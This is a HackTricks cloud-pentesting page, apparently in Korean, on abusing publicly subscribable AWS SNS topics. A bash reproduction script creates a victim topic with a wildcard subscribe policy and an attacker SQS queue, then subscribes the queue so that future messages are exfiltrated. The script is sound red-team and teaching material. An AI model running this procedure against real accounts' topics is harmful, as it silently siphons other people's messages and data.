AWS - SNS Unauthenticated Enum

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SNS

SNS에 대한 자세한 정보는 다음을 확인하세요:

AWS - SNS Enum

모두에게 공개

웹 콘솔에서 SNS 토픽을 구성할 때 토픽에 대해 Everyone can publish and subscribe를 허용하도록 설정할 수 있습니다:

따라서 계정 내에서 토픽의 ARN을 찾거나(또는 토픽 이름을 brute forcing하여) 해당 토픽에 대해 publish 또는 subscribe할 수 있는지 check할 수 있습니다.

이는 SNS 토픽 리소스 정책에서 sns:Subscribe*(또는 외부 계정)에 허용하는 것과 동일합니다. 어떤 principal이라도 자신이 소유한 SQS 큐로 모든 향후 토픽 메시지를 전달하는 subscription을 생성할 수 있습니다. 큐 소유자가 subscription을 시작하면 SQS 엔드포인트에 대해서는 사람의 확인이 필요하지 않습니다.

재현 (us-east-1)
bash
REGION=us-east-1
# Victim account (topic owner)
VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

# Open the topic to anyone subscribing
cat > /tmp/topic-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
JSON
aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json

# Attacker account (queue owner)
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Allow the victim topic to send to the attacker queue
cat > /tmp/sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
JSON
aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"

# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)

# Validation: publish and receive
aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기